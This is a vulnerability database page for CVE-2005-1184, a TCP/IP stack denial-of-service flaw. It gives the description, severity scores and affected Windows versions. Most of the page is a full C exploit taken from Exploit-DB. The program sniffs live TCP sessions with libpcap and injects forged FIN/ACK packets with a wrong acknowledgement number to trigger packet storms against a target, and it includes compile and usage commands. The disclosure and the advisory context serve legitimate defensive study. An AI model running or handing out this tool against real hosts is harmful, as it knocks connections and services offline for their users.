CVE-2005-1184 : Detail

CVE-2005-1184

63.58%V3
Network
2005-04-19
02h00 +00:00
2017-07-10
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The TCP/IP stack in multiple operating systems allows remote attackers to cause a denial of service (CPU consumption) via a TCP packet with the correct sequence number but the wrong Acknowledgement number, which generates a large number of "keep alive" packets. NOTE: some followups indicate that this issue could not be replicated.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 25439

Publication date : 2004-12-12 23h00 +00:00
Author : Antonio M. D. S. Fortes
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/13215/info Multiple Vendor TCP/IP stack implementations are reported prone to a denial of service vulnerability. A report indicates that the vulnerability manifests when an erroneous TCP acknowledgement number is encountered in an active TCP session stream. A successful attack may result in a degradation of the target connection, effectively denying service for legitimate users. Additionally, reports indicate that the computer being attacked may suffer CPU performance degradation, potentially denying service for local users too. /* Proof of Concept for exploiting the TCP Keep Alive implementation * 2004/12/13 * * Antonio M. D. S. Fortes - [email protected] * Diego Prota Casati - [email protected] * Leandro Spinola Rodrigues - [email protected] * * Tested on: * Windows 98 SE * Windows NT Server 4.0 * Windows 2000 Professional * Windows 2000 Server * Windows 2003 Server * Windows XP Professional Service Pack 1 * Windows XP Professional Service Pack 2 * Linux 2.4.x * * Linux 2.6.x: * It wasnt tested but there is a probability that it will also work * on it. * * Compile: * gcc -lpcap storm.c -o storm [FreeBSD] * gcc -D LINUX storm.c -lpcap -o storm [Linux] * * * * How to use: * ./storm Device TargetHost [Count] [Filter] * * Linux systems may need to get a copy of srtlcpy and strlcat * which can be downloaded from the * OpenBSD website (www.openbsd.org) * * Example: * ./storm rl0 192.168.10.13 1 'dst port 80' * * where [Count] stands for how many injected packets should be sent to * the host machine and [Filter] is the filter rules of the libpcap, * take a look in the tcpdump man pages for some enlightments. * * Description: * This bug appeared during a few experimentations with the TCP/IP stack * after which we found out that it was not, at least it is not of our * knowledge, found anywhere else before. That was actually a Solaris bug * that resembles this one. * * After an established connection, a specially crafted packet with the * ACK/FIN flags set, a corrected Sequency Number but with an incorrected * Acknowledge Number will trigger a massive flush of packages with zero * size and only the ACK flag set. Ethereal logs showed that the keep * alive state was occuring and this flow kept going for approximately 3 * minutes and a few million packets. It was clearly observed that CPU * and network performance was severed decreased due to this misbehave. * * Potential attacks includes DoS and DDoS. Applications and services * that depends on quality of services (QoS) such as H323 applications * (VoIP) and video streamming will suffer dramatic performance * downgrade. * * Thanks to: * Luiz Gustavo Torquato Vilela - aka "Neco" - for letting us run few tests on his labs being such a reference * Everson da Silva Tavares - aka "ipfix" - for doing the Linux compatibility * Rodrigo Rubira Branco - aka "BSDaemon" - for fixing some errors * Alex Marcio Ribeiro Nunes - aka Sefer_Zohar - for being a mentor * Flavio Neri Rodrigues - for giving us the basics of TCP/IP that we needed * * References: * RFC 793 - Transmission control protocol * RFC 1122 - Requirements for Internet Hosts - Communication Layers * */ #ifdef LINUX #define _BSD_SOURCE #endif #include <stdbool.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <net/ethernet.h> #ifndef LINUX #include <net/bpf.h> #else #include <bpf.h> #endif #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netdb.h> #include <pcap.h> u_short StormCount, StormPosition = 0; in_addr_t TargetAddress; // Packet list u_short PacketCount = 0; #define PACKETS_MAX_COUNT 32 struct tcp_packet { in_addr_t Source, Destination; u_short SourcePort, DestinationPort; u_short Length; uint32_t Acknowledge, Sequence; u_short Window; u_char Flags; struct tcp_packet *NextPacket; } *PacketList = NULL; // Function Prototypes in_addr_t ResolveHost(char *Host); u_short TCPCheckSum(in_addr_t Source, in_addr_t Destination, struct tcphdr *TCP); struct tcp_packet *AddPacket(in_addr_t Source, in_addr_t Destination, u_short SourcePort, u_short DestinationPort, struct tcp_packet *Packet); void DeletePacket(struct tcp_packet *Packet); struct tcp_packet *FindPacket(in_addr_t Source, in_addr_t Destination, u_short SourcePort, u_short DestinationPort); bool SendTCP(in_addr_t Source, in_addr_t Destination, u_short SourcePort, u_short DestinationPort, uint32_t Acknowledge, uint32_t Sequence, u_short Window, u_short Flags); void PCapHandler(u_char *args, const struct pcap_pkthdr *pkthdr, const u_char *packet); int main(int argc, void **argv) { // Length of each packet to capture const unsigned int PACKET_CAPTURE_LENGTH = sizeof(struct ether_header) + sizeof(struct ip) + sizeof(struct tcphdr); char Device[16], TargetHost[128], Filter[512]; bpf_u_int32 NetAddress, NetMask; char PCapError[PCAP_ERRBUF_SIZE]; pcap_t *Descriptor; char CompleteFilter[1024]; struct bpf_program Program; u_char *PCapNullArgs = NULL; if (argc < 3) { printf("Usage: %s Device TargetHost [Count] [Filter]\n", argv[0]); exit(1); } #ifndef LINUX strlcpy(Device, argv[1], sizeof(Device)); strlcpy(TargetHost, argv[2], sizeof(TargetHost)); #else strncpy(Device, argv[1], sizeof(Device)); strncpy(TargetHost, argv[2], sizeof(TargetHost)); #endif TargetAddress = ResolveHost(TargetHost); // Getting network address and mask of the interface if (pcap_lookupnet(Device, &NetAddress, &NetMask, PCapError) == -1) { printf("pcap_lookupnet: %s\n", PCapError); printf("Error looking up network address and mask to device %s\n", Device); exit(1); } if (argc >= 4) StormCount = atoi(argv[3]); else StormCount = 0; if (argc >= 5) #ifndef LINUX strlcpy(Filter, argv[4], sizeof(Filter)); #else strncpy(Filter, argv[4], sizeof(Filter)); #endif else snprintf(Filter, sizeof(Filter), "net %s mask %d.%d.%d.%d", inet_ntoa(*((struct in_addr *) &NetAddress)), ((u_char *) &NetMask)[0], ((u_char *) &NetMask)[1], ((u_char *) &NetMask)[2], ((u_char *) &NetMask)[3]); // Obtaining a descriptor to look at packets on the network // Putting the interface in promiscuous mode Descriptor = pcap_open_live(Device, PACKET_CAPTURE_LENGTH, true, 1, PCapError);; if (Descriptor == NULL) { printf("pcap_open_live: %s\n", PCapError); printf("Error obtaining a descriptor to look at packets on the network.\n"); exit(1); } // Creating the filter string snprintf(CompleteFilter, sizeof(CompleteFilter), "tcp and (%s)", Filter); printf("Filter: %s\n", CompleteFilter); // Compiling the filter if (pcap_compile(Descriptor, &Program, CompleteFilter, false, NetMask) == -1) { printf("pcap_compile: %s\n", pcap_geterr(Descriptor)); printf("Filter: %s\n", Filter); printf("Error compiling the filter.\n"); exit(1); } // Set the filter to the descriptor if (pcap_setfilter(Descriptor, &Program) == -1) { printf("pcap_setfilter: %s\n", pcap_geterr(Descriptor)); printf("Error setting the filter.\n"); exit(1); } // Main loop printf("Looking for an established tcp connection with %s ...\n", TargetHost); while (StormCount == 0 || StormPosition < StormCount) pcap_loop(Descriptor, 1, PCapHandler, PCapNullArgs); // The End printf("Finished!!!\n"); return 0; } // Get the address of the host in_addr_t ResolveHost(char *Host) { in_addr_t Address = 0; struct hostent *HostEntity; if (strstr(".", Host) != NULL) inet_aton(Host, (struct in_addr *) &Address); else { HostEntity = gethostbyname(Host); if (HostEntity != NULL) memcpy(&Address, HostEntity->h_addr, sizeof(in_addr_t)); } return Address; } // Calculate a TCP packet checksum u_short TCPCheckSum(in_addr_t Source, in_addr_t Destination, struct tcphdr *TCP) { int CheckSum = 0; ushort Length = 2 * sizeof(in_addr_t) + sizeof(struct tcphdr); u_char *Packet = (u_char *) malloc(Length); u_short Index = 0; u_short *Buffer = (u_short *) Packet; uint16_t HeaderLength = htons(sizeof(struct tcphdr)); if (Packet != NULL) { // Filling a temporary buffer to calculate the checksum memcpy(&Packet[Index], &Source, sizeof(Source)); Index += sizeof(Source); memcpy(&Packet[Index], &Destination, sizeof(Destination)); Index += sizeof(Destination); memcpy(&Packet[Index], TCP, sizeof(struct tcphdr)); while (Length > 1) { CheckSum += *Buffer++; Length -= 2; } CheckSum += ntohs(IPPROTO_TCP + sizeof(struct tcphdr)); if (Length == 1) CheckSum += *((u_char *) Buffer); CheckSum = (CheckSum >> 16) + (CheckSum & 0xffff); CheckSum = (~(CheckSum + (CheckSum >> 16)) & 0xffff); free(Packet); } return CheckSum; } // Add a packet to the packet list struct tcp_packet *AddPacket(in_addr_t Source, in_addr_t Destination, u_short SourcePort, u_short DestinationPort, struct tcp_packet *Packet) { if (Packet == NULL) { if (PacketCount == 0) { PacketList = (struct tcp_packet *) malloc(sizeof(struct tcp_packet)); PacketList->NextPacket = NULL; Packet = PacketList; PacketCount++; } else if (PacketCount < PACKETS_MAX_COUNT) { Packet = PacketList; while (Packet->NextPacket != NULL) Packet = Packet->NextPacket; Packet->NextPacket = (struct tcp_packet *) malloc(sizeof(struct tcp_packet)); Packet = Packet->NextPacket; Packet->NextPacket = NULL; PacketCount++; } else { Packet = PacketList; while (Packet->NextPacket != NULL) Packet = Packet->NextPacket; Packet->NextPacket = PacketList; PacketList = PacketList->NextPacket; Packet->NextPacket->NextPacket = NULL; } } if (Packet != NULL) { Packet->Source = Source; Packet->Destination = Destination; Packet->SourcePort = SourcePort; Packet->DestinationPort = DestinationPort; Packet->Length = 0; Packet->Acknowledge = 0; Packet->Sequence = 0; Packet->Window = 0; Packet->Flags = 0; } return Packet; } // Delete a packet from the packet list void DeletePacket(struct tcp_packet *Packet) { struct tcp_packet *CurrentPacket = PacketList; if (Packet != NULL && PacketCount > 0) { // Check for the first packet of the list if (Packet == PacketList) { PacketList = PacketList->NextPacket; free(Packet); PacketCount--; } else { // Try to find the packet in the list while (CurrentPacket->NextPacket != Packet && CurrentPacket->NextPacket != NULL) CurrentPacket = CurrentPacket->NextPacket; if (CurrentPacket->NextPacket != NULL) { CurrentPacket->NextPacket = CurrentPacket->NextPacket->NextPacket; free(Packet); PacketCount--; } } } } // Search a packet that matches with source and destination addresses and ports struct tcp_packet *FindPacket(in_addr_t Source, in_addr_t Destination, u_short SourcePort, u_short DestinationPort) { struct tcp_packet *PacketFound = NULL, *Packet = PacketList; u_short Index; for (Index = 0; Index < PacketCount; Index++) { if (Source == Packet->Source && Destination == Packet->Destination && SourcePort == Packet->SourcePort && DestinationPort == Packet->DestinationPort) { PacketFound = Packet; break; } Packet = Packet->NextPacket; } return PacketFound; } // Send a TCP packet bool SendTCP(in_addr_t Source, in_addr_t Destination, u_short SourcePort, u_short DestinationPort, uint32_t Acknowledge, uint32_t Sequence, u_short Window, u_short Flags) { bool Sent = false; int Socket; struct sockaddr_in SocketAddress; int On = 1; char Packet[sizeof(struct ip) + sizeof(struct tcphdr)]; struct ip *IP = (struct ip *) &Packet[0]; struct tcphdr *TCP = (struct tcphdr *) &Packet[sizeof(struct ip)]; // Try to create a raw socket Socket = socket(AF_INET, SOCK_RAW, IPPROTO_IP); if (Socket < 0) return false; // Configure the socket if(setsockopt(Socket, IPPROTO_IP, IP_HDRINCL, (char *) &On, sizeof(On)) < 0) { close(Socket); return false; } // Configure the socket address memset(&SocketAddress, 0, sizeof(SocketAddress)); #ifndef LINUX SocketAddress.sin_len = sizeof(Packet); #endif SocketAddress.sin_family = AF_INET; SocketAddress.sin_port = DestinationPort; SocketAddress.sin_addr.s_addr = Destination; // Fill the packet memset(Packet, 0, sizeof(Packet)); IP->ip_hl = sizeof(struct ip) >> 2; IP->ip_v = 4; IP->ip_len = sizeof(Packet); IP->ip_ttl = 64; IP->ip_p = IPPROTO_TCP; IP->ip_src.s_addr = Source; IP->ip_dst.s_addr = Destination; TCP->th_sport = SourcePort; TCP->th_dport = DestinationPort; TCP->th_ack = Acknowledge; TCP->th_seq = Sequence; TCP->th_off = sizeof(struct tcphdr) >> 2; #if BYTE_ORDER == LITLE_ENDIAN TCP->th_off = TCP->th_off << 4; #endif TCP->th_flags = Flags; TCP->th_win = Window; TCP->th_sum = TCPCheckSum(Source, Destination, TCP); // Try to send the packet Sent = sendto(Socket, Packet, sizeof(Packet), 0, (const struct sockaddr *) &SocketAddress, sizeof(SocketAddress)) == sizeof(Packet); if (!Sent) { printf("Error sending packet to %s ...\n", inet_ntoa(*((struct in_addr *) &Destination))); } close(Socket); return Sent; } // Packet Capture handler void PCapHandler(u_char *args, const struct pcap_pkthdr *pkthdr, const u_char *packet) { struct ip *IP = (struct ip *) &packet[sizeof(struct ether_header)]; struct tcphdr *TCP = (struct tcpheader *) &packet[sizeof(struct ether_header) + sizeof(struct ip)]; char Source[16], Destination[16]; u_short Length; struct tcp_packet *Packet, *PreviousPacket, *TargetPacket, *ReturnPacket; bool DeletePackets = false, KeepAlive = false, StormSent = false; char PacketType[32]; #ifndef LINUX strlcpy(PacketType, ". . . . . .", sizeof(PacketType)); // Getting the Source and Destination ASCII strings strlcpy(Source, (char *) inet_ntoa(IP->ip_src), sizeof(Source)); strlcpy(Destination, (char *) inet_ntoa(IP->ip_dst), sizeof(Destination)); #else strncpy(PacketType, ". . . . . .", sizeof(PacketType)); // Getting the Source and Destination ASCII strings strncpy(Source, (char *) inet_ntoa(IP->ip_src), sizeof(Source)); strncpy(Destination, (char *) inet_ntoa(IP->ip_dst), sizeof(Destination)); #endif // Length of the TCP data Length = pkthdr->len - sizeof(struct ether_header) - sizeof(struct ip) - (TCP->th_off << 2); // Search for a packet in the list, with the same source, destination, // source port and destination port of the packet received Packet = FindPacket(IP->ip_src.s_addr, IP->ip_dst.s_addr, TCP->th_sport, TCP->th_dport); PreviousPacket = FindPacket(IP->ip_dst.s_addr, IP->ip_src.s_addr, TCP->th_dport, TCP->th_sport); // Check for flags in an established connection if ((TCP->th_flags & TH_ACK) && !(TCP->th_flags & (TH_FIN | TH_RST))) { // Add the packet to the list Packet = AddPacket(IP->ip_src.s_addr, IP->ip_dst.s_addr, TCP->th_sport, TCP->th_dport, Packet); // Fill important data in the packet added // The TCP header size includes the size of the TCP options Packet->Length = Length; Packet->Acknowledge = TCP->th_ack; Packet->Sequence = TCP->th_seq; Packet->Window = TCP->th_win; Packet->Flags = TCP->th_flags; if (PreviousPacket != NULL) { // Check if the packet is a keep alive one KeepAlive = (Packet->Flags == TH_ACK) && (Packet->Length == 0) && (PreviousPacket->Flags == TH_ACK) && (PreviousPacket->Length == 0); // Check target address again (Possible invalid filter) if (!KeepAlive && (Packet->Destination == TargetAddress || PreviousPacket->Destination == TargetAddress)) { // Established connection detected #ifndef LINUX strlcpy(PacketType, "Established", sizeof(PacketType)); #else strncpy(PacketType, "Established", sizeof(PacketType)); #endif // Point TargetPacket to the packet that has // destination matching with target address, // and ReturnPacket to the other if (Packet->Destination == TargetAddress) { TargetPacket = Packet; ReturnPacket = PreviousPacket; } else { TargetPacket = PreviousPacket; ReturnPacket = Packet; } // Send the malicious TCP packet to start the // storm; // The Acknowledge Number is guaranteed to // be less or equal to the expected Acknowledge // Number minus 1 (This is what we want! ;) ) StormSent = SendTCP(TargetPacket->Source, TargetPacket->Destination, TargetPacket->SourcePort, TargetPacket->DestinationPort, htonl(ntohl(TargetPacket->Acknowledge) - 1), htonl(ntohl(ReturnPacket->Acknowledge) + (TargetPacket->Flags & TH_SYN) / TH_SYN), TargetPacket->Window, TH_FIN | TH_ACK); } } } else { DeletePackets = true; #ifndef LINUX strlcpy(PacketType, "Closed.....", sizeof(PacketType)); #else strncpy(PacketType, "Closed.....", sizeof(PacketType)); #endif } // Print some information of the packet received if (!KeepAlive) printf("%s: [Length: %d] %s.%d %s.%d\n", PacketType, Length, Source, ntohs(TCP->th_sport), Destination, ntohs(TCP->th_dport)); if (StormSent) { StormPosition++; printf("** STORM **: [Packet %d] Sent to %s.%d\n", StormPosition, inet_ntoa(*((struct in_addr *) &TargetPacket->Destination)), ntohs(TargetPacket->DestinationPort)); } if (DeletePackets) { // Delete this packet (if it is in the list) and a possible // previous packet, in the oposite way DeletePacket(Packet); DeletePacket(PreviousPacket); } }

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2003_server >> Version datacenter_64-bit

    Microsoft>>Windows_2003_server >> Version enterprise

      Microsoft>>Windows_2003_server >> Version enterprise

        Microsoft>>Windows_2003_server >> Version enterprise_64-bit

          Microsoft>>Windows_2003_server >> Version enterprise_64-bit

            Microsoft>>Windows_2003_server >> Version r2

              Microsoft>>Windows_2003_server >> Version r2

                Microsoft>>Windows_2003_server >> Version r2

                  Microsoft>>Windows_2003_server >> Version standard

                    Microsoft>>Windows_2003_server >> Version standard

                      Microsoft>>Windows_2003_server >> Version standard_64-bit

                        Microsoft>>Windows_2003_server >> Version web

                          Microsoft>>Windows_2003_server >> Version web

                            Microsoft>>Windows_98se >> Version *

                            Microsoft>>Windows_nt >> Version 4.0

                              Microsoft>>Windows_nt >> Version 4.0

                              Microsoft>>Windows_nt >> Version 4.0

                              Microsoft>>Windows_nt >> Version 4.0

                              Microsoft>>Windows_nt >> Version 4.0

                                Microsoft>>Windows_nt >> Version 4.0

                                Microsoft>>Windows_nt >> Version 4.0

                                Microsoft>>Windows_nt >> Version 4.0

                                Microsoft>>Windows_nt >> Version 4.0

                                  Microsoft>>Windows_nt >> Version 4.0

                                  Microsoft>>Windows_nt >> Version 4.0

                                  Microsoft>>Windows_nt >> Version 4.0

                                  Microsoft>>Windows_nt >> Version 4.0

                                    Microsoft>>Windows_nt >> Version 4.0

                                    Microsoft>>Windows_nt >> Version 4.0

                                    Microsoft>>Windows_nt >> Version 4.0

                                    Microsoft>>Windows_nt >> Version 4.0

                                      Microsoft>>Windows_nt >> Version 4.0

                                      Microsoft>>Windows_nt >> Version 4.0

                                      Microsoft>>Windows_nt >> Version 4.0

                                      Microsoft>>Windows_nt >> Version 4.0

                                        Microsoft>>Windows_nt >> Version 4.0

                                        Microsoft>>Windows_nt >> Version 4.0

                                        Microsoft>>Windows_nt >> Version 4.0

                                        Microsoft>>Windows_nt >> Version 4.0

                                          Microsoft>>Windows_nt >> Version 4.0

                                          Microsoft>>Windows_nt >> Version 4.0

                                          Microsoft>>Windows_nt >> Version 4.0

                                          Microsoft>>Windows_nt >> Version 4.0

                                            Microsoft>>Windows_nt >> Version 4.0

                                            Microsoft>>Windows_nt >> Version 4.0

                                            Microsoft>>Windows_nt >> Version 4.0

                                            Microsoft>>Windows_xp >> Version *

                                            Microsoft>>Windows_xp >> Version *

                                            Microsoft>>Windows_xp >> Version *

                                            Microsoft>>Windows_xp >> Version *

                                            References

                                            http://seclists.org/lists/fulldisclosure/2005/Apr/0358.html
                                            Tags : mailing-list, x_refsource_FULLDISC
                                            http://seclists.org/lists/fulldisclosure/2005/Apr/0385.html
                                            Tags : mailing-list, x_refsource_FULLDISC
                                            http://www.securityfocus.com/bid/13215
                                            Tags : vdb-entry, x_refsource_BID
                                            http://seclists.org/lists/fulldisclosure/2005/Apr/0383.html
                                            Tags : mailing-list, x_refsource_FULLDISC